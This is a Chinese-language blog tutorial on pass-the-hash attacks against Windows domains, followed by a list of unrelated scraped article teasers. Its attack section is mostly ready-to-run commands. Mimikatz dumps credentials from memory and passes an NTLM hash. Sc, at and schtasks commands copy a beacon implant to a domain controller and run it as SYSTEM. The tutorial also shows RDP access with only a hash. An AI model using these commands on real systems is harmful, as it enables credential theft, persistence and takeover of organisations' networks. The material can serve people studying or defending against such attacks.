内网渗透之哈希传递

文章目录

  • 哈希传递(NTLM哈希)
    • 概念
      • LM
      • NTLM
    • 原理
    • 利用
      • hash传递获取域控RDP
    • ==总结==

哈希传递(NTLM哈希)

内网渗透中找到域控IP后使用什么攻击手法拿下域控:

  • 扫描域控开放端口。因为域控会开放远程连接:windows开放3389端口,Linux开放22端口

概念

早期SMB协议铭文在网络上传输数据,后来诞生了LM验证机制,LM机制由于过于简单,微软提出了WindowsNT挑战/响应机制,这就是NTLM(认证协议)

LM

image-20231009191217388

NTLM

三次编码:

  • 十六进制编码
  • Unicode编码
  • 最后进行MD4加密

image-20231009144240124

MD4算法不可逆 无法进行逆推

哈希传递只针对相同密码进行攻击,哈希传递要求对方的密码和自己的密码相同,同密码是存在风险的,哈希传递可以实现无明文密码绕过认证,进行登录

原理

image-20231009204356686

image-20231009192233867

什么是hash传递?

哈希传递(Pass The Hash, PTH)顾名思义,就是利用哈希去登录内网中的其他机器,而不是通过明文密码登录的方式。通过哈希传递,攻击者不需要花时间破解哈希值得到明文,往往会使用工具将哈希值传递到其他计算机中进行登录验证。

哈希传递必须要有哈希值,在内网渗透的时候拿下了一台主机,windows中明文密码无法抓取,电脑的密码文件存储在SAM文件中,而SAM中存储的是哈希值(NTLM哈希)。NTLM哈希值可以通过工具抓取。

利用

当域内的用户想要访问域中的某个服务时,输入用户名和密码访问,本机kerberos服

务会向KDC的AS认证服务发送⼀个AS-REQ认证请求。该请求包中包含: 请求的用户名、客户端主机名、加密类型 和 Authenticator(用户NTLM Hash加密的时间戳)以及⼀些其他信息在AS-REQ阶段,是用用户密码Hash加密的Authenticator,所以也就造成了hash传递。我们只需要获取域用户Hash,同时目标机器开放smb服务,就可以进行Hash传递攻击。

mimikatz运行前提是system用户,mimikatz在windows系统中可以利用管理员用户自动提升为system用户

image-20231009205801150

image-20231009205901401

privilege::debug 提升权限(注:需以管理员权限运行)
sekurlsa::logonpasswords 获取内存中保存的登录信息sekurlsa::pth /user:administrator/domain:qf.com/ntlm:a803cf45d87009c404eb89df4b1ae94c
弹出新窗口dir \\域控IP\c$

image-20231009210941144

image-20231009211138148

pth:pass the hash告诉猕猴桃要进行哈希传递了

image-20231009212137413

弹出窗口表示装配好攻击设备,想攻击哪个主机就通过dir告诉要攻击哪个主机的IP

image-20231009212336739

#sc命令创建计划任务
copy beacon.exe \\10.10.10.254\c$
#sc命令远程创建名为test的服务
sc \\10.10.10.254 create test binpath="c:\beacon.exe"
#远程查询名为test的服务
sc \\10.10.10.254 query test
#远程启动名为test的服务
sc \\10.10.10.254 start test
#远程删除名为test的服务
sc \\10.10.10.254 delete test
#at命令(计划任务) at命令在早期的Windows系统中⽀持,⽽新版本Windows已经⽤
schtasks命令取代at命令了。
#查看⽬标系统时间
net time \\10.10.10.254
#将本⽬录下的指定⽂件复制到⽬标系统中
copy vps.exe \10.10.10.254\c$
#使⽤at创建计划任务
at \10.10.10.254 14:37 C:\vps.exe
#清除at记录
at \10.10.10.254 做业ID /delete
#使⽤at命令执⾏,将执⾏结果写⼊本地⽂本⽂件,再使⽤type命令查看该⽂件的内容
at \10.10.10.254 17:00:00 cmd.exe /c "ipconfig > C:/1.txt "
#查看⽣成的1.txt⽂件
type \\10.10.10.254\C$\1.txt
#schtasks命令(计划任务)
#在⽬标主机10.10.10.254上创建⼀个名为test的计划任务,启动权限为system,启动
时间为每隔⼀⼩时启动⼀次
schtasks /create /s 10.10.10.254 /tn test /sc HOURLY /mo 1 /tr
c:\beacon.exe /ru system /f /U administrator /P 1234.com
其他启动时间参数:
/sc HOURLY 每⼩时启动⼀次
/sc onlogon ⽤户登录时启动
/sc onstart 系统启动时启动
/sc onidle 系统空闲时启动
#查询该test计划任务
schtasks /query /s 10.10.10.254 /U administrator -P 1234.com |
findstr test
#启动该test计划任务
schtasks /run /s 10.10.10.254 /i /tn "test" /U administrator -P
1234.com
#删除该test计划任务
schtasks /delete /s 10.10.10.254 /tn "test" /f /U administrator -P
1234.com

image-20231009214553507

image-20231009214625336

hash传递获取域控RDP

privilege::debug
sekurlsa::pth /user:administrator /domain:xiusafe.com
/ntlm:a803cf45d87009c404eb89df4b1ae94c "/run:mstsc.exe
/restrictedadmin"

总结

哈希传递是针对相同密码的用户认证之间发起的攻击,如果当域内的其他主机密码和失陷主机的密码一致,那么哈希值一致,哈希值一致就能够不使用明文密码的登陆对方主机的远程桌面,查看对方主机的C盘查看文件等操作。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/129366.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

常见排序算法Java版(待续)

冒泡排序O(n^2) public class Main {public static void main(String[] args) {Random random new Random();int[] nums new int[]{random.nextInt(100), random.nextInt(100), random.nextInt(100), random.nextInt(100), random.nextInt(100), random.nextInt(100)};for (i…

SQL Server 简介与 Docker Compose 部署

今天我翻阅了在之前公司工作时的笔记,发现了有关数据库的一些记录。当时,我们的项目开始使用 Oracle 数据库,但后来由于一些项目需求的变更,我们切换到了 SQL Server 。值得一提的是,公司当时也开始采用 Docker 技术&a…

多路彩灯控制器led流水灯VHDL速度可调仿真图视频、源代码

名称:多路彩灯控制器led流水灯VHDL速度可调 软件:Quartus 语言:VHDL 代码功能: 使用VHDL设计彩灯控制器,共24个led灯,分为5种不同的花样,可以通过按键切换花样的变化速度。 代码下载&#…

设计模式 - 行为型模式:策略模式(概述 | 案例实现 | 优缺点 | 使用场景)

目录 一、行为型模式 1.1、策略模式 1.1.1、概论 1.1.2、案例实现 1.1.3、优缺点 1.1.4、使用场景 一、行为型模式 1.1、策略模式 1.1.1、概论 策略模式设计的每一个算法都封装了起来,使他们可以相互替换,通过一个对象委派不同的算法给相应的客户…

vscode ssh linux C++ 程序调试

vscode调试c++程序相比vs2022要复杂很多,vs2022可以"一键运行调试",vscode则需要自己配置。 ​vscode调试程序时,会在当前工作目录产生.vscode 目录, 该目录有两个重要文件launch.json和tasks.json, 下面介绍两种调试方法: 手动调试和自动调试。 手动调试 不管…

用 HTTP 提交数据,基本就这 5 种方式

网页开发中,向服务端提交数据是一个基本功能,工作中会大量用 xhr/fetch 的 api 或者 axios 这种封装了一层的库来做。 可能大家都写过很多 http/https 相关的代码,但是又没有梳理下它们有哪几种呢? 其实通过 http/https 向服务端…

Nosql redis高可用和持久化

Nosql redis高可用和持久化 1、redis高可用2、redis持久化2.1redis持久化2.2Redis 持久化方法2.3RDB 持久化2.3.1RDB持久化工作原理2.3.2触发条件2.3.3其他自动触发机制2.3.4执行流程2.3.5启动时加载 2.4AOF 持久化2.4.1AOF持久化原理2.4.2开启AOF2.4.3执行流程2.4.4文件重写的…

java基础 日期工具类

目录结构: DateUtils.java package dateStudy; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Date;public class DateUtils {private static final String FORMAT_1"yyyy-MM-dd HH:mm:ss";//私有方法&#xf…

简易版Pycharm(2023)+Conda开发环境配置教程

困 扰 不知道为什么,自从Pycharm更新了新的版本以后,在Pycharm中为项目工程配置Python解释器环境时,总是不能像以前那么方便。 比如,当前Conda中有十个不同的开发环境,每个环境一个名称,比如,p…

JavaScript Web APIs第五天笔记

Web APIs - 第5天笔记 目标: 能够利用JS操作浏览器,具备利用本地存储实现学生就业表的能力 BOM操作综合案例 js组成 JavaScript的组成 ECMAScript: 规定了js基础语法核心知识。比如:变量、分支语句、循环语句、对象等等 Web APIs : DOM 文档对象模型&…

1. QEMU背景知识

QEMU的两种模拟方案: 系统模拟 System Simulation:可以简单的理解为对整个计算机系统进行模拟(CPU、Memory等) 用户模式模拟 User Mode Simulation:基于模拟方案执行特定应用程序 除了模拟功能外,QUME工具…

Unity实现设计模式——模板方法模式

Unity实现设计模式——模板方法模式 模板模式(Template Pattern), 指在一个抽象类公开定义了执行它的方法的模板。它的子类可以按需要重写方法实现,但调用将以抽象类中定义的方式进行。 简单说, 模板方法模式定义一个操作中的算法的骨架&…